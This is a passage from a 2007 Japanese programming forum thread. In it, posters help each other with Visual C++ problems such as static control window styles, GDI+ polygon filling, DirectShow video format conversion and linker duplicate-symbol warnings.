そんなのでも一から自分で組むよりはパフォーマンスが良いって言うのが悲しいというか情けないところなんだけど・・・orz

726 名前:720 mailto:sage [2007/03/09(金) 00:04:15 ]
.NETでMFCを使う以上、仕方がないということですね。
ありがとうございました。

727 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 00:19:34 ]
>>725
ならんよ。デバッグのままなんじゃないのか

728 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 14:54:28 ]
10Mのexeはすごいなぁw
どんだけ超大作なんだろうか

729 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 15:35:37 ]
10MBの実行コードってソースコードにしてどのぐらいだろうね
きっと、いろんな人のコードがいっぱい詰まってるんだね

730 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 19:57:12 ]
Perlのコードがそのまリテラルとして入ってるんだろ。

731 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 12:51:17 ]
要らん.lib削ったら5分の1になりますた
ライブラリの機能実験のため一杯詰め込んでたの忘れてましたすいません><

732 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 13:24:53 ]
質問です。

複数のコントロールをcreateで作成するときに、
リソースIDを割り当てることに困っているのですが、
割り当てようとしているID値が他で使われていないか、
または使われていないID値を返すような関数はありますでしょうか?

よろしくお願いします。

733 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 17:29:04 ]
自分で管理してないと使いものにならないと思うんだが気のせいか?
使う予定がないんだったら全部staticにしとけばいいし



734 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 19:25:05 ]
>>732
VC2005ならリソースを選択した状態で編集メニューのリソースシンボル。
新規作成で追加し、そのIDを使うようにすれば管理は多少楽かも。
でも使い勝手は良くないな...

735 名前:658 mailto:sage [2007/03/10(土) 20:10:15 ]
pc11.2ch.net/test/read.cgi/tech/1162913156/268-280
というやりとりを経て戻ってきました。
&BitmapInfo.bmiHeaderの値がおかしい気がするんですが・・・。

736 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:30:23 ]
1. もう一度最初から組みなおす
2. デバッガを上手く使う
3. 諦める

少なからず、デバッガについて機能を調べ上手に利用して
原因を特定していくとかいう根性がないようであれば、
VCとは相性が悪かったと思って別の言語に移った方がいい。
VC(というか、C/C++)は結構面倒だ。

Visual Studio でのデバッグ
msdn2.microsoft.com/ja-jp/library/sc65sadd(VS.80).aspx

C# なんかメモリなんかあんまり考えなくて済むから割とオススメだぞ。

737 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:39:09 ]
実は付近のメモリ破壊していて
そのとばっちりを受けている場合は直すの大変だよね。
まず原因を探すのが大変。


738 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:41:04 ]
>>736
C#使いたいんですがXtraがC++しか対応してないんですよ。orz

739 名前:658 mailto:sage [2007/03/10(土) 20:49:45 ]
あと、デバッガ使えるなら使ってるんですよ。
いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz

740 名前:デフォルトの名無しさん mailto:sage [2007/03/10(土) 20:57:54 ]
> いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz 
良く解らんけど、何故に VC のデバッガが利用できない?
プラグインとして動作するしかないからか?

もしそれならデバッガのアタッチ機能を使え。プロセスに侵入するんだ。
(とはいえ、Mcromedia製の云々っぽいからデバッガに関連する何かはありそうだが…)


それと、デバッガの機能としての
「特定のメモリアドレスにアクセスした場合にブレーク」
も併用するとよいと思うぞ。

741 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 02:19:13 ]
createで作ったStatic Controに画像(jpg)を表示する処理を入れたのですが、
ソース上では先にcreateしているのに、
実行時には「画像描画」→「createしたStatic Controlの表示」の順になっているためか、
画像の上にstaticがでてしまいます。
どうにかならないでしょうか・・・よろしくお願いします。


742 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 08:31:18 ]
Staticつかう意味があるんだろうか?

743 名前:741 mailto:sage [2007/03/11(日) 08:53:50 ]
>>742
当方、Staticじゃないと表示させられないという認識でおりました。
他のコントロールでも表示できるのであればそちらでよいと思ってます・・・



744 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 09:24:02 ]
staticが表示するのと別のものを自分で表示するんだったら
static使う意味がないんじゃないかということ

745 名前:743 mailto:sage [2007/03/11(日) 09:43:50 ]
>>744
説明がちょっとわかりづらくなっていました。すみません・・・

Static Controlの枠の上にjpgを乗せるということをやりたかったんですが、
どういうわけか画像がStatic Controlの下に隠れてしまうんです。。。

Static Controlの属性が悪いのかなあ・・・

746 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 11:21:22 ]
Static Controlのウィンドウスタイルだろ
オレもSTATIC並べて枠と座標だけ利用することはたまにやる

747 名前:743 mailto:sage [2007/03/11(日) 11:26:02 ]
>>746
回答ありがとうございます。
そのときのStatic Controlのウィンドウスタイルは
どのようになっていますでしょうか?
私は
SS_BITMAP | SS_WHITERECT | WS_BORDER | WS_VISIBLE
でやっているのですが、なにか足りないものがあるでしょうか・・・
よろしくお願いします。

748 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 12:14:23 ]
ビットマップも表示するんだ

749 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 12:17:05 ]
SS_BITMAPは自分で中も描いちゃうから消えるだろ

750 名前:743 mailto:sage [2007/03/11(日) 12:48:39 ]
>>748-749
SS_BITMAPを消してみましたがまだ駄目みたいです・・・
泣きそう・・・

751 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 13:07:36 ]
SS_WHITERECT も中を描画するだろw
枠だけとかあるだろ

752 名前:743 mailto:sage [2007/03/11(日) 14:00:30 ]
>>751
SS_WHITERECTを消して、
SetBkModeでTRASPARENTにしてみても変わらないです。。。


753 名前:デフォルトの名無しさん mailto:sage [2007/03/11(日) 14:07:00 ]
SS_WHITEFRAMEとかSS_BLACKFRAMEとかあるだろう



754 名前:743 mailto:sage [2007/03/11(日) 14:18:25 ]
>>753
GODと呼ばせてください・・・ できました・・・
今日中に作成しないといけないものだったので、
昨日から胃が痛くてしょうがない状態でした。
ありがとう、本当にありがとうございました!

755 名前:デフォルトの名無しさん mailto:sage [2007/03/13(火) 18:36:23 ]
「胃が痛くてしょうがない状態」
あああ…。悲しいなそれは。

756 名前:デフォルトの名無しさん [2007/03/15(木) 15:56:25 ]
質問があります。

MS VC++.NET 2003 なのですが、以下のソースで三角を描画しました。

Pen * pen = new Pen(Color::Black);
Point poly[] = { p1, p2, p3 };
g->DrawPolygon(pen, poly);

これは成功しました。
今度はこれを塗りつぶしたいのですが、どうすれば良いのでしょうか?
ここでのBrushの使い方がいまいち分かりません。
よろしくお願いします。

757 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 16:18:34 ]
FillPolygon

758 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 16:20:18 ]
中を塗り潰すのはFill〜と命名されている。
FillPolygonはDrawでPenを引数に取っていた代わりにBrushを引数に取る。
単色に塗り潰すブラシはBrushの派生の1つSolidBrush、ほかにも何種類かブラシがある。
だから結局こうなる。
Brush* brush = new Brush(Color::Black);
Point poly[] = {p1, p2, p3};
g->FillPolygon(brush, poly);


759 名前:デフォルトの名無しさん [2007/03/15(木) 17:03:50 ]
w= *((ULONG *)( &iv->rbuf[iv->rbufq] ));

既設のvc++のソースを調査しています。
上記、処理の実行結果(w)には何が設定されるかわかりません。
*((ULONG *) ってどういう意味ですか?
ご存知の方、ご教授願います。


760 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 17:05:36 ]
unsigned long のポインタにキャストして、そのアドレスが指してる値を取り出してる

761 名前:デフォルトの名無しさん [2007/03/15(木) 17:09:22 ]
>>760 ご教授に感謝

762 名前:デフォルトの名無しさん [2007/03/15(木) 19:05:02 ]
テキストファイルのダンプ(16進)を表示したい。VC++のツールにありますか?
・メモ帳でunicode形式で保存したファイルを CStdioFile::ReadString()した時
 意図しない動作をするので unicode形式のファイルの中身をコードで確認したい

Visual C++ standard editionです。
ヘルプで検索するとデバッグ時のメモリダンプばかりヒットしてしまいます。
よろしくお願いします。

763 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 19:08:56 ]
vectorあたりでバイナリファイルエディタ探すのが早いんじゃ



764 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 19:13:42 ]
>>762
どのバージョンかわからんのであれだが、
ファイルメニュー - 開く - ファイル で出たダイアログで
ファイルを選択し、開くボタンの右の矢印を押して
ファイルを開くアプリケーションの選択からバイナリエディタを選べばいける

バージョンによって開き方が違うかも

765 名前:デフォルトの名無しさん mailto:sage [2007/03/15(木) 19:23:39 ]
>>764
VC++2005 でバイナリエディタ開けました! ありがとうございます。

>>763
レス d。

766 名前:658 mailto:sage [2007/03/21(水) 14:10:17 ]
向こうでも書きましたが、動きますた。
ご迷惑をおかけしました。

迷惑ついでにもうひとつ質問が。
コンパイル時にLNK 4006のwarningが大量発生するのです。
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IRegFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IFilterInfo は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _CLSID_FilgraphManager は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IQueueCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
strmbase.lib(strmiids.obj) : warning LNK4006: _IID_IDeferredCommand は wcamregister.obj で定義されています; 2 つ目以降の定義は無視されます
といった感じのが1000近く出ます。
動くので問題はないんですが、コンパイル時にウザいので解決したいなーと思った次第です。
どなたか解決方法をご存知の方はいらっしゃいますでしょうか?

767 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 14:53:35 ]
#pragma warning(disable: 4006)

768 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 14:58:28 ]
リンクのワーニングにそれ使えるの?

>>766
リンク指定してるライブラリを調べてみて。重複してないか?

769 名前:658 mailto:sage [2007/03/21(水) 15:09:23 ]
>>767
効かないようです。

>>768
winmm.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib strmbasd.lib
以上がリンクしているライブラリですね。

770 名前:658 mailto:sage [2007/03/21(水) 15:26:06 ]
ついでに書くと、strmbasd.libとstrmbase.libをプロジェクトのディレクトリにコピーして使ってます。
それがまずいんでしょうか?

771 名前:658 mailto:sage [2007/03/21(水) 15:45:25 ]
strmbase.libがResource Filesに入っていたので外しました。
数が700くらいまで減りましたがまだ大量に発生中です。

www.users.gr.jp/blogs/hidori/archive/2005/02/14/8990.aspx
これズバリだと思ってこのとおりに試してもダメでした。
リンク先のmsdnサイトのやり方も試してみましたがダメです。orz.......

772 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 16:34:06 ]
>>769
それはデフォルトライブラリの使用をありにしたうえで別に指定しているのか?

773 名前:658 [2007/03/21(水) 16:43:51 ]
>>772
今出先なんで確認できないんですが、多分デフォルトありにしてます。
帰ったら早速調べてみます。



774 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 17:02:25 ]
>> 658
> 向こうでも書きましたが、動きますた
原因と問題解決方法と書いておけ。
将来的に同じような所で躓くヤツも居るだろう。


775 名前:658 mailto:sage [2007/03/21(水) 18:13:52 ]
>>772
「デフォルトライブラリをすべて無視」にチェック入れても同じ状態(というかリンクエラーが追加される)ですた。

>>774
原因:DVSD形式でデータが流れてくるためDIB形式に変換しようとしたら失敗する。
対処:
AM_MEDIA_TYPE amt;
ZeroMemory(&amt, sizeof(AM_MEDIA_TYPE));
amt.majortype = MEDIATYPE_Video;
amt.subtype = MEDIASUBTYPE_RGB24;
amt.formattype = FORMAT_VideoInfo;
pGrab -> SetMediaType( &amt );
といった感じで一度RGB24形式に指定してあげた後
pGrab -> GetConnectedMediaType( &amt );
で再度取得する。
というかリンク先のソースをコピペでも動くます。
ttp://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html

CopyMemoryで落ちるとか、ヘッダに書くと動かないってのは謎のままです。orz

776 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 18:43:00 ]
まとめ
拾って来たソース適当にコピペしたら動きました。
でもワーニング出まくりです。

777 名前:デフォルトの名無しさん mailto:sage [2007/03/21(水) 18:52:44 ]
たしか、#defineの具合によって、UUIDが実体化されることがあったはず。
だから、どこでも#defineせずにlibを含めるか、どこか1つの翻訳単位で
実体化させて、UUIDの含まれたlibはリンクしないか、どちから。

778 名前:658 mailto:sage [2007/03/21(水) 20:27:07 ]
>>776
まあそれで正解です。w

>>777
ちょっと時間ないんで明日にでも試してみます。
777オメ。






[ 新着レスの取得/表示 (agate) ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<201KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef